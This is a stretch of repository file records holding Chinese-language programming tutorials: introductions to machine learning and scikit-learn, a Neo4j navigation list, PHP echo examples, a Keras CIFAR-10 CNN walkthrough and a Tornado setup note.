class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程 </a></li>\n<li><a href=\"./intro.html\"> 机器学习 简介 </a></li>\n<li><a href=\"./feature-engineering.html\"> 机器学习 特征工程 </a></li>\n<li><a href=\"./feature-extraction.html\"> 机器学习 特征提取 </a></li>\n<li><a href=\"./feature-preprocessing.html\"> 机器学习 特征预处理 </a></li>\n<li><a href=\"./feature_selection.html\"> 机器学习 特征选择 </a></li>\n<li><a href=\"./feature_selection.html\"> 机器学习 特征选择 </a></li>\n<li><a href=\"./metrics.html\"> 机器学习 模型评估 </a></li>\n<li><a href=\"./dataset-split.html\"> 机器学习 数据集划分 </a></li>\n<li><a href=\"./dataset-split.html\"> 机器学习 数据集划分 </a></li>\n<li><a href=\"./knn.html\"> 机器学习算法 K近邻(KNN) </a></li>\n<li><a href=\"./nb.html\"> 机器学习算法 朴素贝叶斯 </a></li>\n<li><a href=\"./dt.html\"> 机器学习算法 决策树 </a></li>\n<li><a href=\"./rf.html\"> 机器学习算法 集成学习-随机森林 </a></li>\n<li><a href=\"./lr.html\"> 机器学习算法 线性回归 </a></li>\n<li><a href=\"./logstic.html\"> 机器学习算法 逻辑回归 </a></li>\n<li><a href=\"./ridge.html\"> 机器学习算法 岭回归 </a></li>\n<li><a href=\"./k-means.html\"> 机器学习算法 聚类-KMeans </a></li>\n<li><a href=\"./fitting.html\"> 机器学习模型 欠拟合与过拟合 </a></li>\n<li><a href=\"./save-load.html\"> 机器学习模型 保存与加载 </a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>人工智能概述</h1>\n<h2>什么是机器学习</h2>\n<h3>定义</h3>\n<p>机器学习是从<strong>数据</strong>中<strong>自动分析获得模型</strong>,并利用<strong>模型</strong>对未知数据进行预测。</p>\n<h3>解释</h3>\n<p><img alt=\"机器学习定义\" src=\"./images/机器学习定义.png\" /></p>\n<ul>\n<li>我们人从大量的日常经验中归纳规律,当面临新的问题的时候,就可以利用以往总结的规律去分析现实状况,采取最佳策略。</li>\n</ul>\n<p><img alt=\"img\" src=\"./images/猫狗.png\" /></p>\n<ul>\n<li>从数据(大量的猫和狗的图片)中自动分析获得模型(辨别猫和狗的规律),从而使机器拥有识别猫和狗的能力。</li>\n</ul>\n<p><img alt=\"img\" src=\"./images/房屋价格.png\" /></p>\n<ul>\n<li>从数据(房屋的各种信息)中自动分析获得模型(判断房屋价格的规律),从而使机器拥有预测房屋价格的能力。</li>\n</ul>\n<p><strong>从历史数据当中获得规律?这些历史数据是怎么的格式?</strong></p>\n<h3>数据集构成</h3>\n<ul>\n<li>结构:特征值+目标值</li>\n</ul>\n<p><img alt=\"数据集结构\" src=\"./images/数据集结构.png\" /></p>\n<p><strong>注意:</strong></p>\n<ul>\n<li>对于每一行数据我们可以称之为<strong>样本</strong>。</li>\n<li>有些数据集可以没有目标值:</li>\n</ul>\n<p><img alt=\"img\" src=\"./images/无监督学习.png\" /></p>\n<h2>机器学习与人工智能、深度学习</h2>\n<p><img alt=\"人工智能范围\" src=\"./images/人工智能范围.png\" /></p>\n<ul>\n<li>\n<p>机器学习和人工智能,深度学习的关系</p>\n</li>\n<li>\n<p>机器学习是人工智能的一个实现途径</p>\n</li>\n<li>\n<p>深度学习是机器学习的一个方法发展而来</p>\n</li>\n<li>\n<p>达特茅斯会议-人工智能的起点</p>\n</li>\n</ul>\n<p>1956年8月,在美国汉诺斯小镇宁静的达特茅斯学院中,</p>\n<p>约翰·麦卡锡(John McCarthy)</p>\n<p>马文·闵斯基(Marvin Minsky,人工智能与认知学专家)</p>\n<p>克劳德·香农(Claude Shannon,信息论的创始人)</p>\n<p>艾伦·纽厄尔(Allen Newell,计算机科学家)</p>\n<p>赫伯特·西蒙(Herbert Simon,诺贝尔经济学奖得主)等科学家正聚在一起,讨论着一个完全不食人间烟火的主题:</p>\n<p><strong>用机器来模仿人类学习以及其他方面的智能。</strong></p>\n<p>会议足足开了两个月的时间,虽然大家没有达成普遍的共识,但是却为会议讨论的内容起了一个名字:</p>\n<p><a href=\"https://baike.baidu.com/item/人工智能\">人工智能</a></p>\n<p>因此,1956年也就成为了人工智能元年。</p>\n<h2>机器学习、深度学习能做些什么</h2>\n<p><strong>机器学习的应用场景非常多,可以说渗透到了各个行业领域当中。医疗、航空、教育、物流、电商等等领域的各种场景。</strong></p>\n<p><img alt=\"img\" src=\"./images/机器学习应用场景.png\" /></p>\n<ul>\n<li>\n<p>用在挖掘、预测领域:</p>\n</li>\n<li>\n<p>应用场景:店铺销量预测、量化投资、广告推荐、企业客户分类、SQL语句安全检测分类…</p>\n</li>\n<li>\n<p>用在图像领域:</p>\n</li>\n<li>\n<p>应用场景:街道交通标志检测、人脸识别等等</p>\n<p><img alt=\"img\" src=\"./images/自动驾驶.png\" /></p>\n</li>\n<li>\n<p>用在自然语言处理领域:</p>\n</li>\n<li>\n<p>应用场景:文本分类、情感分析、自动聊天、文本检测等等</p>\n<p><img alt=\"img\" src=\"./images/新闻机器人.png\" /></p>\n</li>\n</ul>\n<p><strong>当前重要的是掌握一些机器学习算法等技巧,从某个业务领域切入解决问题。</strong></p>\n<h2>机器学习算法分类</h2>\n<h3>分析前面的例子:</h3>\n<p><img alt=\"img\" src=\"./images/猫狗.png\" /></p>\n<ul>\n<li>特征值:猫/狗的图片;目标值:猫/狗-类别</li>\n<li>分类问题</li>\n</ul>\n<p><img alt=\"img\" src=\"./images/房屋价格.png\" /></p>\n<ul>\n<li>特征值:房屋的各个属性信息;目标值:房屋价格-连续型数据</li>\n<li>回归问题</li>\n</ul>\n<p><img alt=\"img\" src=\"./images/无监督学习.png\" /></p>\n<ul>\n<li>特征值:人物的各个属性信息;目标值:无</li>\n<li>无监督学习</li>\n</ul>\n<h3>总结</h3>\n<p><img alt=\"监督学习无监督学习区别\" src=\"./images/%E7%9B%91%E7%9D%A3%E5%AD%A6%E4%B9%A0%E6%97%A0%E7%9B%91%E7%9D%A3%E5%AD%A6%E4%B9%A0%E5%8C%BA%E5%88%AB.png\" /></p>\n<h2>机器学习算法分类</h2>\n<ul>\n<li>\n<p>监督学习(supervised learning)(预测)</p>\n</li>\n<li>\n<p>定义:输入数据是由输入特征值和目标值所组成。函数的输出可以是一个连续的值(称为回归),或是输出是有限个离散值(称作分类)。</p>\n</li>\n<li><strong>分类 k-近邻算法、贝叶斯分类、决策树与随机森林、逻辑回归、神经网络</strong></li>\n<li>\n<p><strong>回归:线性回归、岭回归</strong></p>\n</li>\n<li>\n<p>无监督学习(unsupervised learning)</p>\n</li>\n<li>\n<p>定义:输入数据是由输入特征值所组成。</p>\n</li>\n<li>聚类 k-means</li>\n</ul>\n<h2>机器学习开发流程</h2>\n<p><img alt=\"img\" src=\"./images/机器学习开发流程.png\" /></p>\n<ul>\n<li>流程图:</li>\n</ul>\n<p><img alt=\"开发流程\" src=\"./images/%E5%BC%80%E5%8F%91%E6%B5%81%E7%A8%8B.png\" /></p>\n<h2>学习框架和资料介绍</h2>\n<p>需明确几点问题:</p>\n<p>(1)<strong>算法</strong>是核心,<strong>数据</strong>与<strong>计算</strong>是基础</p>\n<p>(2)找准定位</p>\n<p>大部分复杂模型的算法设计都是算法工程师在做,而我们</p>\n<ul>\n<li>分析很多的数据</li>\n<li>分析具体的业务</li>\n<li>应用常见的算法</li>\n<li>特征工程、调参数、优化</li>\n</ul>\n<p><img alt=\"img\" src=\"./images/数学书.png\" /></p>\n<ul>\n<li>我们应该怎么做?</li>\n<li>学会分析问题,使用机器学习算法的目的,想要算法完成何种任务</li>\n<li>掌握算法基本思想,学会对问题用相应的算法解决</li>\n<li>学会利用库或者框架解决问题</li>\n</ul>\n<p><strong>当前重要的是掌握一些机器学习算法等技巧,从某个业务领域切入解决问题。</strong></p>\n<h3>机器学习库与框架</h3>\n<p><img alt=\"框架\" src=\"./images/框架.png\" /></p>\n<h3>书籍资料</h3>\n<p><img alt=\"学习书籍\" src=\"./images/学习书籍.png\" /></p>\n<h3>提深内功(但不是必须)</h3>\n<p><img alt=\"深度学习\" src=\"./images/深度学习.png\" /></p>\n<h2>作业</h2>\n<ul>\n<li>说明机器学习算法监督学习与无监督学习的区别</li>\n<li>\n<p>说明监督学习中的分类、回归特点</p>\n</li>\n<li>\n<p>说一下它们具体问题类别:</p>\n<ul>\n<li>\n<p>1、预测明天的气温是多少度?</p>\n</li>\n<li>\n<p>2、预测明天是阴、晴还是雨?</p>\n</li>\n<li>\n<p>3、人脸年龄预测?</p>\n</li>\n<li>\n<p>4、人脸识别?</p>\n</li>\n</ul>\n</li>\n</ul>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.5691178441047668, "alphanum_fraction": 0.5957591533660889, "avg_line_length": 37.726314544677734, "blob_id": "19b6d21149babe2bc15f35494ed7ffa6d1a4262e", "content_id": "082c01386b731f047fc61a1f7d04809c77bbd45e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 8949, "license_type": "no_license", "max_line_length": 198, "num_lines": 190, "path": "/sklearn/intro.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>Scikit-Learn 简介 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./index.html\"> 如何学习本课程</a></li>\n<li><a href=\"./intro.html\"> sklearn简介</a></li>\n<li><a href=\"./setup.html\"> sklearn安装</a></li>\n<li><a href=\"./modelling.html\"> sklearn建模过程</a></li>\n<li><a href=\"./data-representation.html\"> sklearn数据表示</a></li>\n<li><a href=\"./estimator.html\"> sklearn估算器</a></li>\n<li><a href=\"./conventions.html\"> sklearn约定</a></li>\n<li><a href=\"./linear.html\"> sklearn线性建模之线性回归</a></li>\n<li><a href=\"./logistic.html\"> sklearn线性建模之逻辑回归</a></li>\n<li><a href=\"./ridge.html\"> sklearn线性建模之岭回归</a></li>\n<li><a href=\"./bayes.html\"> sklearn线性建模之贝叶斯岭回归</a></li>\n<li><a href=\"./sgd.html\"> sklearn随机梯度下降(SGD)</a></li>\n<li><a href=\"./svm.html\"> sklearn支持向量机(SVM)</a></li>\n<li><a href=\"./knn.html\"> sklearnK近邻(KNN)</a></li>\n<li><a href=\"./nbc.html\"> sklearn朴素贝叶斯分类(NBC)</a></li>\n<li><a href=\"./dt.html\"> sklearn决策树(DT)</a></li>\n<li><a href=\"./rf.html\"> sklearn随机决策树(RF)</a></li>\n<li><a href=\"./cluster.html\"> skelarn聚类(cluster)</a></li>\n<li><a href=\"./pca.html\"> sklearn降维(PCA)</a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>Scikit-Learn 简介</h1>\n<p>Scikit-learn(Sklearn)是Python中用于机器学习的最有用和最强大的库。它通过Python中的一致性接口为机器学习和统计建模提供了一系列有效的工具,包括分类,回归,聚类和降维。该库主要使用Python编写,基于<strong>NumPy,SciPy</strong>和<strong>Matplotlib构建</strong>。</p>\n<p><img alt=\"scikit-learn-logo-notext\" src=\"./images/scikit-learn-logo-notext.png\" /></p>\n<h2>Scikit-Learn的起源</h2>\n<p>它最初称为<strong>*scikits.learn*</strong>,最初由David Cournapeau于2007年在Google的夏季代码项目中开发。后来,在2010年,FIRCA(法国科学研究所)的Fabian Pedregosa,Gael Varoquaux,Alexandre Gramfort和Vincent Michel计算机科学与自动化),将该项目带入了另一个层次,并于2010年2月1日发布了第一个公开版本(v0.1 beta)。</p>\n<p>让我们看看它的版本历史-</p>\n<ul>\n<li>2019年5月:scikit-learn 0.21.0</li>\n<li>2019年3月:scikit-learn 0.20.3</li>\n<li>2018年12月:scikit-learn 0.20.2</li>\n<li>2018年11月:scikit-learn 0.20.1</li>\n<li>2018年9月:scikit-learn 0.20.0</li>\n<li>2018年7月:scikit-learn 0.19.2</li>\n<li>2017年7月:scikit-learn 0.19.0</li>\n<li>2016年9月。scikit-learn 0.18.0</li>\n<li>2015年11月。scikit-learn 0.17.0</li>\n<li>2015年3月。scikit-learn 0.16.0</li>\n<li>2014年7月。scikit-learn 0.15.0</li>\n<li>2013年8月。scikit-learn 0.14</li>\n</ul>\n<h2>社区和贡献者</h2>\n<p>Scikit-learn是一项社区活动,任何人都可以为此做出贡献。该项目托管在<a href=\"https://github.com/scikit-learn/scikit-learn\">https://github.com/scikit-learn/scikit-learn上。</a>目前,以下人员是Sklearn开发和维护的主要贡献者-</p>\n<ul>\n<li>Joris Van den Bossche(数据科学家)</li>\n<li>Thomas J Fan(软件开发人员)</li>\n<li>Alexandre Gramfort(机器学习研究员)</li>\n<li>Olivier Grisel(机器学习专家)</li>\n<li>Nicolas Hug(副研究员)</li>\n<li>Andreas Mueller(机器学习科学家)</li>\n<li>秦汉民(软件工程师)</li>\n<li>Adrin Jalali(开源开发人员)</li>\n<li>Nelle Varoquaux(数据科学研究员)</li>\n<li>Roman Yurchak(数据科学家)</li>\n</ul>\n<p>像Booking.com,JP Morgan,Evernote,Inria,AWeber,Spotify等各种组织都在使用Sklearn。</p>\n<h2>特点</h2>\n<p>Scikit-learn库不是专注于加载,处理和汇总数据,而是专注于对数据建模。Sklearn提供的一些最受欢迎的模型组如下-</p>\n<p><strong>监督学习算法</strong> -几乎所有流行的监督学习算法,例如线性回归,支持向量机(SVM),决策树等,都是scikit-learn的一部分。</p>\n<p><strong>无监督学习算法</strong> -另一方面,它还具有从聚类,因子分析,PCA(主成分分析)到无监督神经网络的所有流行的无监督学习算法。</p>\n<p><strong>群集</strong> -此模型用于对未标记的数据进行分组。</p>\n<p><strong>交叉验证</strong> -用于检查看不见的数据上监督模型的准确性。</p>\n<p><strong>降维</strong> -用于减少数据中的属性数量,这些属性可进一步用于汇总,可视化和特征选择。</p>\n<p><strong>集成方法</strong> -顾名思义,它用于组合多个监督模型的预测。</p>\n<p><strong>特征提取</strong> -用于从数据中提取特征,以定义图像和文本数据中的属性。</p>\n<p><strong>特征选择</strong> -用于识别有用的属性以创建监督模型。</p>\n<p><strong>开源</strong> -它是开源库,并且在BSD许可下也可以商业使用。</p>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.6330589652061462, "alphanum_fraction": 0.6495198607444763, "avg_line_length": 59.79166793823242, "blob_id": "5a0cd25f6551e655672f48a944356f61e7b0ab09", "content_id": "8b14135eafcaf1a329e352d7b79afc450af4cee3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 1620, "license_type": "no_license", "max_line_length": 68, "num_lines": 24, "path": "/neo4j/nav.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<li><a href=\"./intro.html\"> Neo4j 简介 </a></li>\n<li><a href=\"./setup.html\"> Neo4j 环境安装配置 </a></li>\n<li><a href=\"./basic.html\">Neo4j 基础 </a></li>\n<li><a href=\"./cql.html\"> Neo4j CQL简介 </a></li>\n<li><a href=\"./basic-datatype.html\"> Neo4j CQL数据类型 </a></li>\n<li><a href=\"./basic-operator.html\"> Neo4j CQL运算符 </a></li>\n<li><a href=\"./cql-createnode.html\"> Neo4jCQL创建节点 </a></li>\n<li><a href=\"./cql-createrelation.html\"> Neo4jCQL-建立关系 </a></li>\n<li><a href=\"./cql-clause.html\"> Neo4j子句 </a></li>\n<li><a href=\"./readclause-count.html\"> Neo4j计数功能count </a></li>\n<li><a href=\"./readclause-match.html\"> Neo4jmatch匹配子句 </a></li>\n<li><a href=\"./readclause-where.html\"> Neo4jWhere子句 </a></li>\n<li><a href=\"./generalclause-limit.html\"> Neo4j限制子句 </a></li>\n<li><a href=\"./generalclause-orderby.html\"> Neo4jorderby子句 </a></li>\n<li><a href=\"./generalclause-return.html\"> Neo4j-退货条款 </a></li>\n<li><a href=\"./generalclause-skip.html\"> Neo4jSKIP跳跃子句 </a></li>\n<li><a href=\"./generalclause-unwith.html\"> Neo4jUnwind解包子句 </a></li>\n<li><a href=\"./generalclause-with.html\"> Neo4jWith链接子句 </a></li>\n<li><a href=\"./indexes.html\"> Neo4j Index索引 </a></li>\n<li><a href=\"./writeclause-delete.html\"> Neo4j Delete删除子句 </a></li>\n<li><a href=\"./writeclause-foreach.html\"> Neo4j Foreach子句 </a></li>\n<li><a href=\"./writeclause-merge.html\"> Neo4j merge合并子句 </a></li>\n<li><a href=\"./writeclause-remove.html\"> Neo4j Remove清除子句 </a></li>\n<li><a href=\"./writeclause-set.html\"> Neo4j set设置子句 </a></li>" }, { "alpha_fraction": 0.587266743183136, "alphanum_fraction": 0.601536750793457, "avg_line_length": 10.399999618530273, "blob_id": "9005063efa50cb6348c5685cb88ba7b8bcef929a", "content_id": "77215b682e9ae90ca783544da0a1721600ea7474", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1181, "license_type": "no_license", "max_line_length": 65, "num_lines": 80, "path": "/php/echo.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# PHP echo语句\n\nPHP `echo`是一个语言结构(也可以叫作语句),不是一个函数,所以不需要使用括号。 但是如果要使用多个参数,则需要使用括号。\n\nPHP `echo`的语法如下:\n\n```php\nvoid echo ( string $arg1 [, string $... ] )\n```\n\nPHP的`echo`语句可以用来打印字符串,多行字符串,转义字符,变量,数组等。\n\n### 打印字符串\n\n文件名:echo1.php\n\n```php\n<?php \n echo \"Hello by PHP echo\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/echo1.php\n```\n\nURL预览:`{url}/echo1.php`\n\n### 打印多行字符串\n\n文件名: echo2.php\n\n```php\n<?php \necho \"Hello by PHP echo \nthis is multi line \ntext printed by \nPHP echo statement \n\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/echo2.php\n```\n\nURL预览:`{url}/echo2.php`\n\n### 打印转义字符\n\n文件名: echo3.php\n\n```php\n<?php \n echo \"Hello escape \\\"sequence\\\" characters\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/echo3.php\n```\n\nURL预览:`{url}/echo3.php`\n\n### 打印变量值\n\n文件名:echo4.php\n\n```php\n<?php \n $msg=\"Hello PHPer!\"; \n echo \"Message is: $msg\"; \n?>\n```\n\n```bash\nphp /share/lesson/php/echo4.php\n```\n\nURL预览:`{url}/echo4.php`" }, { "alpha_fraction": 0.6912972331047058, "alphanum_fraction": 0.7307060956954956, "avg_line_length": 20, "blob_id": "1fc989cde43f1890a357b68a4e6f5796918897b2", "content_id": "83fe4c877b7cf852d0eec9d7a513ca3fa61eb83a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4251, "license_type": "no_license", "max_line_length": 99, "num_lines": 145, "path": "/keras/class_3.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Keras入门课3:使用CNN识别cifar10数据集\n\ncifar10是一个日常物品的数据集,一共有10类,属于是比较小的数据集。这次用一个4个卷积层加2个全连接层的典型CNN网络来进行分类\n\n\n```python\nimport keras\nfrom keras.datasets import cifar10\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\n```\n\n↓首先载入cifar10数据集,和mnist数据集的载入方法一致,本地没有数据的话会先下载\n\n\n```python\n(x_train,y_train),(x_test,y_test) = cifar10.load_data()\n```\n\ncifar10数据集图像大小是32*32的3通道彩图,训练集5万张,测试集1万张。和之前的mnist数据集不同,由于是彩色的,所以样本直接就是4维的。\n\n\n```python\nprint(x_train.shape,y_train.shape)\nprint(x_test.shape,y_test.shape)\n```\n\n\n```python\nimport matplotlib.pyplot as plt\nplt.imshow(x_train[0])\nplt.show()\nplt.imshow(x_train[1])\nplt.show()\n```\n\n可以看到数据读入没有问题,第一张是蛤蟆,第二张是一个卡车。\n\n↓规范化数据\n\n\n```python\nx_train = x_train/255\nx_test = x_test/255\ny_train = keras.utils.to_categorical(y_train,10)\ny_test = keras.utils.to_categorical(y_test,10)\n```\n\n↓构建模型。之前构建模型都是先生成一个model,然后使用add方法来一层一层的加,现在用另一种更方便的方法。直接在Sequential初始化的时候按数组一个一个写进去就可以了。\n\n\n```python\nmodel = Sequential([\n Conv2D(32,(3,3),padding='same',input_shape=(32,32,3),activation='relu'),\n Conv2D(32,(3,3),activation='relu'),\n MaxPooling2D(pool_size=(2,2)),\n Dropout(0.25),\n \n Conv2D(64,(3,3),padding='same',activation='relu'),\n Conv2D(64,(3,3),activation='relu'),\n MaxPooling2D(pool_size=(2,2)),\n Dropout(0.25),\n \n Flatten(),\n Dense(512,activation='relu'),\n Dropout(0.5),\n Dense(10,activation='softmax') \n])\n```\n\n\n```python\nmodel.summary()\n```\n\n↓指定优化函数的参数\n\n\n```python\nopt = keras.optimizers.rmsprop(lr=0.0001,decay=1e-6)\n```\n\n\n```python\nmodel.compile(loss='categorical_crossentropy',\n optimizer=opt,\n metrics=['accuracy'])\n```\n\n### 至此直接调用fit方法就可以进行训练了。但是为了模型更快的收敛以及更好的泛化性能,往往我们会对图像做一些变换,比如缩放、平移、旋转等等。下面我们要用keras自带的图像增强来对图像做一些变换\n\n↓这里生成了一个数据增强器,包含了范围20°内的随机旋转,±15%的缩放以及随机的水平翻转。可调的参数还有很多,具体的可以查看文档。\n\n\n```python\ndatagen = ImageDataGenerator(\n rotation_range = 20,\n zoom_range = 0.15,\n horizontal_flip = True,\n)\n```\n\n\n```python\n# datagen.fit(x_train) 只有使用featurewise_center,featurewise_std_normalization或zca_whitening时需要此函数\n```\n\n↓通过ImageDataGenerator生成的数据需要使用model的fit_generator方法来进行训练,其中的workers参数表示多线程运算。\n\ndatagen的flow方法可以按批次的生成训练所需数据,注意这里生成的数据都是经过了数据增强的,并且是实时的。\n\n\n```python\nmodel.fit_generator(datagen.flow(x_train,y_train,batch_size=64),steps_per_epoch = 1000,epochs = 2,\n validation_data=(x_test,y_test),workers=4,verbose=1)\n```\n\n↓保存模型,包括了模型的结构以及参数。后缀用h5\n\n\n```python\nmodel.save('cifar10_trained_model.h5')\n```\n\n\n```python\nscores = model.evaluate(x_test,y_test,verbose=1)\nprint('Test loss:',scores[0])\nprint('Test accuracy:',scores[1])\n```\n\n### 总结\n\n1. 学习了一种新的使用Sequential()构建模型的方法,更加的简单快捷\n1. 学习了使用Keras内置的ImageDataGenerator来做数据增强的方法\n1. 调用model的fit_generator来进行针对增强数据的训练\n1. 学习了如何保存模型\n\n本文代码链接:https://github.com/tsycnh/Keras-Tutorials/blob/master/class_3.ipynb\n\n参考\n> https://github.com/keras-team/keras/blob/master/examples\n> https://keras-cn.readthedocs.io/en/latest/preprocessing/image/\n" }, { "alpha_fraction": 0.8074073791503906, "alphanum_fraction": 0.8074073791503906, "avg_line_length": 26.200000762939453, "blob_id": "e94f99de710317b345887a5bcd1ca2dd6cd83070", "content_id": "5bb58717a4fe47750f3a67c6b4cc46c8afa754c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 283, "license_type": "no_license", "max_line_length": 98, "num_lines": 5, "path": "/tornado/setup.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Tornado 开发环境安装 \t\t\t\n\n## 本课程在线环境的安装\n\n除第四章需要用户进行[mongoDB的安装](/mongodb/setup.html)及`pymongo`库的安装外,其它章节本课程无需您做任何安装操作,在浏览器中即可本课程的学习及运行项目代码。" }, { "alpha_fraction": 0.5971810221672058, "alphanum_fraction": 0.6166542768478394, "avg_line_length": 31.29041862487793, "blob_id": "8be021f6f585e48aa4bc0825d2b9e6bdb34f5bbe", "content_id": "f73b08b4555871a6734d1c7c70cbd3da5892b8f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 